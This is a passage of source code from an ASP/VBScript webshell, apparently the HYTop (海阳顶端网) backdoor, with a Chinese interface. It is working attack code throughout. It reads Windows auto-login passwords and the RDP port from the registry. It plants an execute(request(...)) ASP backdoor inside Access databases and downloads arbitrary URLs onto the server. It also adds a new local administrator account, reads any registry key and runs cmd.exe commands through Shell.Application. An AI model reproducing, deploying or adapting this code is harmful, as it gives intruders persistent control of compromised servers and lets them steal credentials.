      strAtt = Replace(strAtt, "{ $readonly }", "checked")
    End If
    getAttributes = strAtt
End Function

Sub PageInfoAboutSrv()
    Dim theAct
    theAct = Request("theAct")

    showTitle("服务器相关数据")

    Select Case theAct
      Case ""
        getSrvInfo()
        getSrvDrvInfo()
        getSiteRootInfo()
        getTerminalInfo()
      Case "getSrvInfo"
        getSrvInfo()
      Case "getSrvDrvInfo"
        getSrvDrvInfo()
      Case "getSiteRootInfo"
        getSiteRootInfo()
      Case "getTerminalInfo"
        getTerminalInfo()
    End Select

    echo "<hr/>"
End Sub

Sub getSrvInfo()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS
    Set sa = Server.CreateObject("Shell.Application")
    strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _
           "PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
    aryExEnvList = Split(strExEnvList, "$")

    Set objWshSysEnv = wsX.Environment("SYSTEM")
    chkErr(Err)

    intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS")
    If IsNull(intCpuNum) Or intCpuNum = "" Then
      intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS")
    End If
    strOS = Request.ServerVariables("OS")
    If IsNull(strOS) Or strOS = "" Then
      strOS = objWshSysEnv("OS")
      strOs = strOs & "(有可能是 Windows2003 哦)"
    End If
    strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER")

    echo "<a href=javascript:showHideMe(srvInf);>服务器相关参数:</a>"
    echo "<ol id=srvInf><hr/>"
    echo "<li>服务器名: " & Request.ServerVariables("SERVER_NAME") & "</li>"
    echo "<li>服务器IP: " & Request.ServerVariables("LOCAL_ADDR") & "</li>"
    echo "<li>服务端口: " & Request.ServerVariables("SERVER_PORT") & "</li>"
    echo "<li>服务器内存: " & getTheSize(sa.GetSystemInformation("PhysicalMemoryInstalled")) & "</li>"
    echo "<li>服务器时间: " & Now & "</li>"
    echo "<li>服务器软件: " & Request.ServerVariables("SERVER_SOFTWARE") & "</li>"
    echo "<li>脚本超时时间: " & Server.ScriptTimeout & "</li>"
    echo "<li>服务器CPU数量: " & intCpuNum & "</li>"
    echo "<li>服务器CPU详情: " & strCpuInfo & "</li>"
    echo "<li>服务器操作系统: " & strOS & "</li>"
    echo "<li>服务器解译引擎: " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion & "</li>"
    echo "<li>本文件实际路径: " & Request.ServerVariables("PATH_TRANSLATED") & "</li>"
    echo "<hr/></ol>"

    echo "<br/><a href=javascript:showHideMe(srvEnvInf);>服务器相关参数:</a>"
    echo "<ol id=srvEnvInf><hr/>"
    For i = 0 To UBound(aryExEnvList)
      echo "<li>" & aryExEnvList(i) & ": " & wsX.ExpandEnvironmentStrings("%" & aryExEnvList(i) & "%") & "</li>"
    Next
    echo "<hr/></ol>"

    Set sa = Nothing
    Set objWshSysEnv = Nothing
End Sub

Sub getSrvDrvInfo()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim objTheDrive
    echo "<br/><a href=javascript:showHideMe(srvDriveInf);>服务器磁盘信息:</a>"
    echo "<ol id=srvDriveInf><hr/>"
    echo "<div id='fsoDriveList'>"
    echo "<span>盘符</span><span>类型</span><span>卷标</span><span>文件系统</span><span>可用空间</span><span>总空间</span><br/>"
    For Each objTheDrive In fsoX.Drives
      echo "<span>" & objTheDrive.DriveLetter & "</span>"
      echo "<span>" & getDriveType(objTheDrive.DriveType) & "</span>"
      If UCase(objTheDrive.DriveLetter) = "A" Then
        echo "<br/>"
       Else
        echo "<span>" & objTheDrive.VolumeName & "</span>"
        echo "<span>" & objTheDrive.FileSystem & "</span>"
        echo "<span>" & getTheSize(objTheDrive.FreeSpace) & "</span>"
        echo "<span>" & getTheSize(objTheDrive.TotalSize) & "</span><br/>"
      End If
      If Err Then
        Err.Clear
        echo "<br/>"
      End If
    Next
    echo "</div><hr/></ol>"
    Set objTheDrive = Nothing
End Sub

Sub getSiteRootInfo()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim objTheFolder
    Set objTheFolder = fsoX.GetFolder(Server.MapPath("/"))
    echo "<br/><a href=javascript:showHideMe(siteRootInfo);>站点根目录信息:</a>"
    echo "<ol id=siteRootInfo><hr/>"
    echo "<li>物理路径: " & Server.MapPath("/") & "</li>"
    echo "<li>当前大小: " & getTheSize(objTheFolder.Size) & "</li>"
    echo "<li>文件数: " & objTheFolder.Files.Count & "</li>"
    echo "<li>文件夹数: " & objTheFolder.SubFolders.Count & "</li>"
    echo "<li>创建日期: " & objTheFolder.DateCreated & "</li>"
    echo "<li>最后访问日期: " & objTheFolder.DateLastAccessed & "</li>"
    echo "</ol>"
End Sub

Sub getTerminalInfo()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim terminalPortPath, terminalPortKey, termPort
    Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
    Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword

    terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
    terminalPortKey = "PortNumber"
    termPort = wsX.RegRead(terminalPortPath & terminalPortKey)

    echo "终端服务端口及自动登录信息<hr/><ol>"
    If termPort = "" Or Err.Number <> 0 Then
      echo "无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
     Else
      echo "当前终端服务端口: " & termPort & "<br/>"
    End If

    autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
    autoLoginEnableKey = "AutoAdminLogon"
    autoLoginUserKey = "DefaultUserName"
    autoLoginPassKey = "DefaultPassword"
    isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
    If isAutoLoginEnable = 0 Then
      echo "系统自动登录功能未开启<br/>"
    Else
      autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
      echo "自动登录的系统帐户: " & autoLoginUsername & "<br>"
      autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
      If Err Then
        Err.Clear
        echo "False"
      End If
      echo "自动登录的帐户密码: " & autoLoginPassword & "<br>"
    End If
    echo "</ol>"
End Sub

Sub PageLogin()
    Dim theAct, passWord
    theAct = Request("theAct")
    passWord = Request("userPassword")

    showTitle("Login")

If theAct = "chkLogin" Then

Password=passWord

      If passWord = userPassword Then
        Session(m & "userPassword") = passWord
        redirectTo("?pageName=PageList")
       Else
        echo "<script language=javascript>alert('Logined Unsuccessfully...^_^');history.back();</script>"
      End If
    End If

    echo "<style>body{ margin:8;text-align:center; }</style>"
    echo "<hr/>"
    echo "<body onload=document dot forms[0].userPassword.focus();>"
    echo "<form method=post onsubmit=this.Submit.disabled=true;>"
    echo "<input name=userPassword class=input type=password size=30> "
    echo "<input type=hidden name=theAct value=chkLogin>"
    echo "<input type=submit name=Submit value=""" & HtmlEncode(myName) & """ class=input>"
    echo "<hr/>"
    echo "</form>"
    echo "<body>"
End Sub

Sub pageMsDataBase()
    Dim theAct, sqlStr
    theAct = Request("theAct")
    sqlStr = Request("sqlStr")

    showTitle("MDB+MsSQL Database Page")

    If sqlStr = "" Then
      If Session(m & "sqlStr") = "" Then
        sqlStr = "e:\asp.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=asp;Password=asp;Database=asp;"
       Else
        sqlStr = Session(m & "sqlStr")
      End If
    End If
    Session(m & "sqlStr") = sqlStr

    echo "<style>body{ margin:8; }</style>"
    echo "<form method=post action='?pageName=MsDataBase&theAct=showTables' onSubmit='this.Submit.disabled=true;'>"
    echo "<a href='?pageName=MsDataBase'>MDB+MsSQL Database Page</a><br/>"
    echo "<input name=sqlStr type=text id=sqlStr value=""" & sqlStr & """ size=60 style='width:80%;'>"
    echo "<input name=theAct type=hidden value=showTables><br/>"
    echo "<input type=Submit name=Submit value=' 提交 '>"
    echo "<input type=button name=Submit2 value=' 插入 ' onclick=""if(confirm('这里是在ACESS数据里插入海阳顶端网ASP后门\n默认密码是" & clientPassword & "\n后门插入后可以使用的前提是\n数据库是asp后缀, 并且没有错乱asp代码\n确认操作吗?')){ location.href='?pageName=MsDataBase&theAct=inject&sqlStr='+this.form.sqlStr.value;this.disabled=true; }"">"
    echo "<input type=button value=' 示例 ' onclick=""this.form.sqlStr.value='e:\\Asp.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=asp;Password=asp;Database=asp;';"">"
    echo "</form>"
    echo "<hr/>注: 插入只针对ACCESS操作, 要浏览ACCESS在表单中的写法是""e:\Asp.mdb"", SQL据库写法是""sql:连接字符串"", 不要忘写sql:。<hr/>"

    Select Case theAct
      Case "showTables"
        showTables()
      Case "query"
        showQuery()
      Case "inject"
        accessInject()
    End Select

    echo ""
End Sub

Sub showTables()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr
    sqlStr = Request("sqlStr")
    If LCase(Left(sqlStr, 4)) = "sql:" Then
      connStr = Mid(sqlStr, 5)
     Else
      connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
    End If
    Set conn = Server.CreateObject("Adodb.Connection")

    conn.Open connStr
    chkErr(Err)

    tablesStr = getTableList(conn, sqlStr, rsTable)

    echo "<a href=""?pageName=MsDataBase&theAct=showTables&sqlStr=" & UrlEncode(sqlStr) & """>数据库表结构查看:</a><br/>"
    echo tablesStr & "<hr/>"
    echo "<a href=""?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & """>转到SQL命令执行</a><hr/>"

    Do Until rsTable.Eof
      Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))
      echo "<table border=0 cellpadding=0 cellspacing=0><tr><td height=22 colspan=6><b>" & rsTable("Table_Name") & "</b></td>"
      echo "</tr><tr><td colspan=6><hr/></td></tr><tr align=center>"
      echo "<td>字段名</td><td>类型</td><td>大小</td><td>精度</td><td>允许为空</td><td>默认值</td></tr>"
      echo "<tr><td colspan=6><hr/></td></tr>"

      Do Until rsColumn.Eof
        echo "<tr align=center>"
        echo "<td align=Left> " & rsColumn("Column_Name") & "</td>"
        echo "<td width=80>" & getDataType(rsColumn("Data_Type")) & "</td>"
        echo "<td width=70>" & rsColumn("Character_Maximum_Length") & "</td>"
        echo "<td width=70>" & rsColumn("Numeric_Precision") & "</td>"
        echo "<td width=70>" & rsColumn("Is_Nullable") & "</td>"
        echo "<td width=80>" & rsColumn("Column_Default") & "</td>"
        echo "</tr>"
        rsColumn.MoveNext
      Loop

      echo "<tr><td colspan=6><hr/></td></tr></table>"
      rsTable.MoveNext
    Loop

echo "<hr/>"

    conn.Close
    Set conn = Nothing
    Set rsTable = Nothing
    Set rsColumn = Nothing
End Sub

Sub showQuery()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable
    sql = Request("sql")
    page = Request("page")
    sqlStr = Request("sqlStr")
    theTable = Request("theTable")

    If Not IsNumeric(page) or page = "" Then
      page = 1
    End If

    If sql = "" And theTable <> "" Then
      sql = "Select top " & dbSelectNumber & " * from [" & theTable & "]"
    End If

    If LCase(Left(sqlStr, 4)) = "sql:" Then
      connStr = Mid(sqlStr, 5)
     Else
      connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
    End If
    Set rs = Server.CreateObject("Adodb.RecordSet")
    Set conn = Server.CreateObject("Adodb.Connection")

    conn.Open connStr
    chkErr(Err)

    tablesStr = getTableList(conn, sqlStr, rsTable)

    echo "<a href=""?pageName=MsDataBase&theAct=showTables&sqlStr=" & UrlEncode(sqlStr) & """>数据库表结构查看:</a><br/>"
    echo tablesStr & "<hr/>"
    echo "<a href=?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & "&sql=" & UrlEncode(sql) & ">SQL命令执行及查看</a>"
    echo "<br/><form method=post action=""?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & """>"
    echo "<input name=sql type=text id=sql value=""" & HtmlEncode(sql) & """ size=60>"
    echo "<input type=Submit name=Submit4 value=执行查询><hr/>"

    If sql <> "" And Left(LCase(sql), 7) = "select " Then
      rs.Open sql, conn, 1, 1
      chkErr(Err)
      rs.PageSize = 20
      If Not rs.Eof Then
        rs.AbsolutePage = page
      End If
      If rs.Fields.Count>0 Then
        echo "<br><table border=""1"" cellpadding=""0"" cellspacing=""0"" width=""98%"">"
        echo "<tr>"
        echo "<td height=""22"" align=""center"" class=""tr"" colspan=""" & rs.Fields.Count & """>SQL操作 - 执行结果</td>"
        echo "</tr>"
        echo "<tr>"
        For j = 0 To rs.Fields.Count-1
          echo "<td height=""22"" align=""center"" class=""td""> " & rs.Fields(j).Name & " </td>"
        Next
        For i = 1 To 20
          If rs.Eof Then
            Exit For
          End If
          echo "</tr>"
          echo "<tr valign=top>"
          For j = 0 To rs.Fields.Count-1
            echo "<td height=""22"" align=""center"">" & HtmlEncode(fixNull(rs(j))) & "</td>"
          Next
          echo "</tr>"
          rs.MoveNext
        Next
      End If
      echo "<tr>"
      echo "<td height=""22"" align=""center"" class=""td"" colspan=""" & rs.Fields.Count & """>"
      For i = 1 To rs.PageCount
  If CLng(Request("page")) = i Then
   echo "<font color=red>"&i & "</font> "
  Else
   echo Replace("<a href=""?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & "&sql=" & UrlEncode(sql) & "&page=" & i & """><font { $font" & i & " }>" & i & "</font></a> ", "{ $font" & page & " }", "class=warningColor")
  End If
      Next
      echo "</td></tr></table>"
      rs.Close
     Else
       If sql <> "" Then
        conn.Execute(sql)
        chkErr(Err)
        echo "<center><br>执行完毕!</center>"
      End If
    End If

echo "</form><hr/>"

    conn.Close
    Set rs = Nothing
    Set conn = Nothing
    Set rsTable = Nothing
End Sub

Function getDataType(typeId)
    Select Case typeId
      Case 130
        getDataType = "文本"
      Case 2
        getDataType = "整型"
      Case 3
        getDataType = "长整型"
      Case 7
        getDataType = "日期/时间"
      Case 5
        getDataType = "双精度型"
      Case 11
        getDataType = "是/否"
      Case 128
        getDataType = "OLE 对象"
      Case Else
        getDataType = typeId
    End Select
End Function

Sub accessInject()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim rs, conn, sqlStr, connStr
    sqlStr = Request("sqlStr")
    If LCase(Left(sqlStr, 4)) = "sql:" Then
      showErr("插入只对ACCESS数据库有效!")
     Else
      connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
    End If
    Set rs = Server.CreateObject("Adodb.RecordSet")
    Set conn = Server.CreateObject("Adodb.Connection")

conn.Open connStr
chkErr(Err)

    If notdownloadsExists = True Then
      conn.Execute("drop table notdownloads")
    End If

conn.Execute("create table notdownloads(notdownloads oleobject)")

    rs.Open "notdownloads", conn, 1, 3
    rs.AddNew
    rs("notdownloads").AppendChunk(ChrB(Asc("<")) & ChrB(Asc("%")) & ChrB(Asc("e")) & ChrB(Asc("x")) & ChrB(Asc("e")) & ChrB(Asc("c")) & ChrB(Asc("u")) & ChrB(Asc("t")) & ChrB(Asc("e")) & ChrB(Asc("(")) & ChrB(Asc("r")) & ChrB(Asc("e")) & ChrB(Asc("q")) & ChrB(Asc("u")) & ChrB(Asc("e")) & ChrB(Asc("s")) & ChrB(Asc("t")) & ChrB(Asc("(")) & ChrB(Asc("""")) & ChrB(Asc(clientPassword)) & ChrB(Asc("""")) & ChrB(Asc(")")) & ChrB(Asc(")")) & ChrB(Asc("%")) & ChrB(Asc(">")) & ChrB(Asc(" ")))
   rs.Update
   rs.Close

    echo "<script language=""javascript"">alert('插入成功!');history.back();</script>"

    conn.Close
    Set rs = Nothing
    Set conn = Nothing
End Sub

Function getTableList(conn, sqlStr, rsTable)
    Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table"))

    Do Until rsTable.Eof
      getTableList = getTableList & "<a href=""?pageName=MsDataBase&theAct=query&sqlStr=" & UrlEncode(sqlStr) & "&theTable=" & UrlEncode(rsTable("Table_Name")) & """>[" & rsTable("Table_Name") & "]</a> "
      rsTable.MoveNext
    Loop
    rsTable.MoveFirst
End Function

Sub PageObjOnSrv()
Dim i, objTmp, txtObjInfo, strObjectList, strDscList
txtObjInfo = Trim(Request("txtObjInfo"))

    strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _
            "IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _
            "Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _
            "IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _
            "Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network"
    strDscList = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _
           "刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _
           "Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _
           "FSO,Stream 流,,,"

aryObjectList = Split(strObjectList, ",")
aryDscList = Split(strDscList, ",")

showTitle("服务器组件支持情况检测")

    echo "其他组件支持情况检测<br/>"
    echo "在下面的输入框中输入你要检测的组件的ProgId或ClassId。<br/>"
    echo "<form method=post>"
    echo "<input name=txtObjInfo size=30 value=""" & txtObjInfo & """><input name=theAct type=submit value=我要检测>"
    echo "</form>"

    If Request("theAct") = "我要检测" And txtObjInfo <> "" Then
      Call getObjInfo(txtObjInfo, "")
    End If

    echo "<hr/>"
    echo "<lu>组件名称 ┆ 支持及其它"

    For i = 0 To UBound(aryDscList)
      Call getObjInfo(aryObjectList(i), aryDscList(i))
    Next

echo "</lu><hr/>"
End Sub

Sub getObjInfo(strObjInfo, strDscInfo)
Dim objTmp

    If isDebugMode = False Then
      On Error Resume Next
    End If

    echo "<li> " & strObjInfo
    If strDscInfo <> "" Then
      echo " (" & strDscInfo & "组件)"
    End If

echo " ┆ "

    Set objTmp = Server.CreateObject(strObjInfo)
    If Err <> -2147221005 Then
      echo "√ "
      echo "Version: " & objTmp.Version & "; "
      echo "About: " & objTmp.About
     Else
      echo "×"
    End If
    echo "</li>"

    If Err Then
      Err.Clear
    End If

    Set objTmp = Nothing
End Sub

Sub PageOtherTools()
Dim theAct
theAct = Request("theAct")

showTitle("一些零碎的小东西")

    Select Case theAct
      Case "downFromUrl"
        downFromUrl()
        Response.End
      Case "addUser"
        AddUser Request("userName"), Request("passWord")
        Response.End
      Case "readReg"
        readReg()
        Response.End
    End Select

    echo "数制转换:<hr/>"
    echo "<input name=text1 value=字符和数字转10和16进制 size=25 id=text9>"
    echo "<input type=button onclick=main(); value=给我转>"
    echo "<input value=16进制转10进制和字符 size=25 id=vars>"
    echo "<input type=button onClick=main2(); value=给我转>"
    echo "<hr/>"

    echo "下载到服务器:<hr/>"
    echo "<form method=post target=_blank>"
    echo "<input name=theUrl value='http://' size=80><input type=submit value=' 下载 '><br/>"
    echo "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80>"
    echo "<input type=checkbox name=overWrite value=2>存在覆盖"
    echo "<input type=hidden value=downFromUrl name=theAct>"
    echo "</form>"
    echo "<hr/>"

    echo "文件编辑:<hr/>"
    echo "<form method=post action='?' target=_blank>"
    echo "<input size=80 name=thePath value=""" & HtmlEncode(Request.ServerVariables("PATH_TRANSLATED")) & """>"
    echo "<input type=hidden value=showEdit name=theAct>"
    echo "<select name=pageName><option value=AppFileExplorer>用Stream</option><option value=FsoFileExplorer>用FSO</option></select>"
    echo "<input type=submit value=' 打开 '>"
    echo "</form><hr/>"

    echo "管理帐号添加(成功率极低):<hr/>"
    echo "<form method=post target=_blank>"
    echo "<input type=hidden value=addUser name=theAct>"
    echo "<input name=userName value='HYTop' size=39>"
    echo "<input name=passWord type=password value='HYTop' size=39>"
    echo "<input type=submit value=' 添加 '>"
    echo "</form><hr/>"

    echo "注册表键值读取(<a href=javascript:showHideMe(regeditInfo);>资料</a>):<hr/>"
    echo "<form method=post target=_blank>"
    echo "<input type=hidden value=readReg name=theAct>"
    echo "<input name=thePath value='HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName' size=80>"
    echo "<input type=submit value=' 读取 '>"
    echo "<span id=regeditInfo style='display:none;'><hr/>"
    echo "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\Dont-DisplayLastUserName,REG_SZ,1 { 不显示上次登录用户 }<br/>"
    echo "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous,REG_DWORD,0 { 0=缺省,1=匿名用户无法列举本机用户列表,2=匿名用户无法连接本机IPC$共享 }<br/>"
    echo "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer,REG_DWORD,0 { 禁止默认共享 }<br/>"
    echo "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSharedNetDrives,REG_SZ,0 { 关闭网络共享 }<br/>"
    echo "HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters,REG_DWORD,1 { 启用TCP/IP筛选(所有试配器) }<br/>"
    echo "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter,REG_DWORD,1 { 允许IP路由 }<br/>"
    echo "-------以下似乎要看绑定的网卡,不知道是否准确---------<br/>"
    echo "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{ 8A465128-8E99-4B0C-AFF3-1348DC55EB2E }\DefaultGateway,REG_MUTI_SZ { 默认网关 }<br/>"
    echo "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{ 8A465128-8E99-4B0C-AFF3-1348DC55EB2E }\NameServer { 首DNS }<br/>"
    echo "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{ 8A465128-8E99-4B0C-AFF3-1348DC55EB2E }\TCPAllowedPorts { 允许的TCP/IP端口 }<br/>"
    echo "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{ 8A465128-8E99-4B0C-AFF3-1348DC55EB2E }\UDPAllowedPorts { 允许的UDP端口 }<br/>"
    echo "-----------OVER--------------------<br/>"
    echo "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count { 共几块活动网卡 }<br/>"
    echo "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind { 当前网卡的序列(把上面的替换) }<br/>"
    echo "==========================================================<br/>以上资料由kEvin1986提供"
    echo "</span>"
    echo "</form><hr/>"

    echo "<script language=vbs>" & vbNewLine
    echo "sub main()" & vbNewLine
    echo "base=document.all.text9.value" & vbNewLine
    echo "If IsNumeric(base) Then" & vbNewLine
    echo "cc=hex(cstr(base))" & vbNewLine
    echo "alert(""10进制为""&base)" & vbNewLine
    echo "alert(""16进制为""&cc)" & vbNewLine
    echo "exit sub" & vbNewLine
    echo "end if" & vbNewLine
    echo "aa=asc(cstr(base))" & vbNewLine
    echo "bb=hex(aa)" & vbNewLine
    echo "alert(""10进制为""&aa)" & vbNewLine
    echo "alert(""16进制为""&bb)" & vbNewLine
    echo "end sub" & vbNewLine
    echo "sub main2()" & vbNewLine
    echo "If document.all.vars.value<>"""" Then" & vbNewLine
    echo "Dim nums,tmp,tmpstr,i" & vbNewLine
    echo "nums=document.all.vars.value" & vbNewLine
    echo "nums_len=Len(nums)" & vbNewLine
    echo "For i=1 To nums_len" & vbNewLine
    echo "tmp=Mid(nums,i,1)" & vbNewLine
    echo "If IsNumeric(tmp) Then" & vbNewLine
    echo "tmp=tmp * 16 * (16^(nums_len-i-1))" & vbNewLine
    echo "Else" & vbNewLine
    echo "If ASC(UCase(tmp))<65 Or ASC(UCase(tmp))>70 Then" & vbNewLine
    echo "alert(""你输入的数值中有非法字符，16进制数只包括1～9及a～f之间的字符，请重新输入。"")" & vbNewLine
    echo "exit sub" & vbNewLine
    echo "End If" & vbNewLine
    echo "tmp=(ASC(UCase(tmp))-55) * (16^(nums_len-i))" & vbNewLine
    echo "End If" & vbNewLine
    echo "tmpstr=tmpstr+tmp" & vbNewLine
    echo "Next" & vbNewLine
    echo "alert(""转换的10进制为:""&tmpstr&""其字符值为:""&chr(tmpstr))" & vbNewLine
    echo "End If" & vbNewLine
    echo "end sub" & vbNewLine
    echo "</script>" & vbNewLine

    echo ""
End Sub

Sub downFromUrl()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim Http, theUrl, thePath, stream, fileName, overWrite
    theUrl = Request("theUrl")
    thePath = Request("thePath")
    overWrite = Request("overWrite")
    Set stream = Server.CreateObject("Adodb.Stream")
    Set Http = Server.CreateObject("MSXML2.XMLHTTP")

    If overWrite <> 2 Then
      overWrite = 1
    End If

    Http.Open "GET", theUrl, False
    Http.Send()
    If Http.ReadyState <> 4 Then
      Exit Sub
    End If

    With stream
      .Type = 1
      .Mode = 3
      .Open
      .Write Http.ResponseBody
      .Position = 0
      .SaveToFile thePath, overWrite
      If Err.Number = 3004 Then
        Err.Clear
        fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
        If fileName = "" Then
          fileName = "index.htm.txt"
        End If
        thePath = thePath & "\" & fileName
        .SaveToFile thePath, overWrite
      End If
      .Close
    End With
    chkErr(Err)

    alertThenClose("文件 " & Replace(thePath, "\", "\\") & " 下载成功!")

    Set Http = Nothing
    Set Stream = Nothing
End Sub

Sub AddUser(strUser, strPassword)
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim computer, theUser, theGroup
    Set computer = Getobject("WinNT://.")
    Set theGroup = GetObject("WinNT://./Administrators,group")

    Set theUser = computer.Create("User", strUser)
    theUser.SetPassword(strPassword)
    chkErr(Err)
    theUser.SetInfo
    chkErr(Err)
    theGroup.Add theUser
    chkErr(Err)

    Set theUser = Nothing
    Set computer = Nothing
    Set theGroup = Nothing

    echo getUserInfo(strUser)
End Sub

Sub readReg()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim i, thePath, theArray
    thePath = Request("thePath")
'    echo thePath & "<br/>"
    theArray = wsX.RegRead(thePath)
    If IsArray(theArray) Then
      For i = 0 To UBound(theArray)
        echo "<li>" & theArray(i)
      Next
     Else
      echo "<li>" & theArray
    End If
    chkErr(Err)
End Sub

Sub PageList()
showTitle("功能模块列表")

    echo "<base target=_blank>"
    echo "<hr/>"
    echo "<ol><li><a href='?pageName=ServiceList'>系统服务信息</a></li>"
    echo "<br/>"
    echo "<li><a href='?pageName=infoAboutSrv'>服务器相关数据</a><br/>("
    echo "<a href='?pageName=infoAboutSrv&theAct=getSrvInfo'>系统参数</a>,"
    echo "<a href='?pageName=infoAboutSrv&theAct=getSrvDrvInfo'>系统磁盘</a>,"
    echo "<a href='?pageName=infoAboutSrv&theAct=getSiteRootInfo'>站点文件夹</a>,"
    echo "<a href='?pageName=infoAboutSrv&theAct=getTerminalInfo'>终端端口&自动登录</a>)</li>"
    echo "<li><a href='?pageName=objOnSrv'>服务器组件探针</a></li>"
    echo "<li><a href='?pageName=userList'>系统用户及用户组信息</a></li>"
    echo "<li><a href='?pageName=CSInfo'>客户端服务器交互信息</a></li>"
    echo "<li><a href='?pageName=WsCmdRun'>WScript dot Shell程序运行器</a></li>"
    echo "<li><a href='?pageName=SaCmdRun'>Shell.Application程序运行器</a></li>"
    echo "<li><a href='?pageName=FsoFileExplorer'>FSO文件浏览操作器</a></li>"
    echo "<li><a href='?pageName=AppFileExplorer'>Shell.Application文件浏览操作器</a></li>"
    echo "<li><a href='?pageName=MsDataBase'>微软数据库查看/操作器</a></li>"
    echo "<li><a href='?pageName=OtherTools'>一些零碎的小东西</a></li>"
    echo "</ol>"
    echo "<hr/>"
End Sub

Sub PageSaCmdRun()
    If isDebugMode = False Then
      On Error Resume Next
    End If
    Dim theFile, thePath, theAct, appPath, appName, appArgs

    showTitle("Shell.Application命令行操作")

    theAct = Trim(Request("theAct"))
    appPath = Trim(Request("appPath"))
    thePath = Trim(Request("thePath"))
    appName = Trim(Request("appName"))
    appArgs = Trim(Request("appArgs"))

    If theAct = "doAct" Then
      If appName = "" Then
        appName = "cmd.exe"
      End If

      If appPath <> "" And Right(appPath, 1) <> "\" Then
        appPath = appPath & "\"
      End If

      If LCase(appName) = "cmd.exe" And appArgs <> "" Then
        If LCase(Left(appArgs, 2)) <> "/c" Then
          appArgs = "/c " & appArgs
        End If
      Else
        If LCase(appName) = "cmd.exe" And appArgs = "" Then
          appArgs = "/c "
        End If
      End If

      saX.ShellExecute appName, appArgs, appPath, "", 0
      chkErr(Err)
    End If

    If theAct = "readResult" Then
      Err.Clear
      echo encode(streamLoadFromFile(aspPath))
      If Err Then
        Set theFile = fsoX.OpenTextFile(aspPath)
        echo encode(theFile.ReadAll())
        Set theFile = Nothing
      End If
      Response.End
    End If

    echo "<style>body{ margin:8;border:none;background-color:buttonface; }</style>"
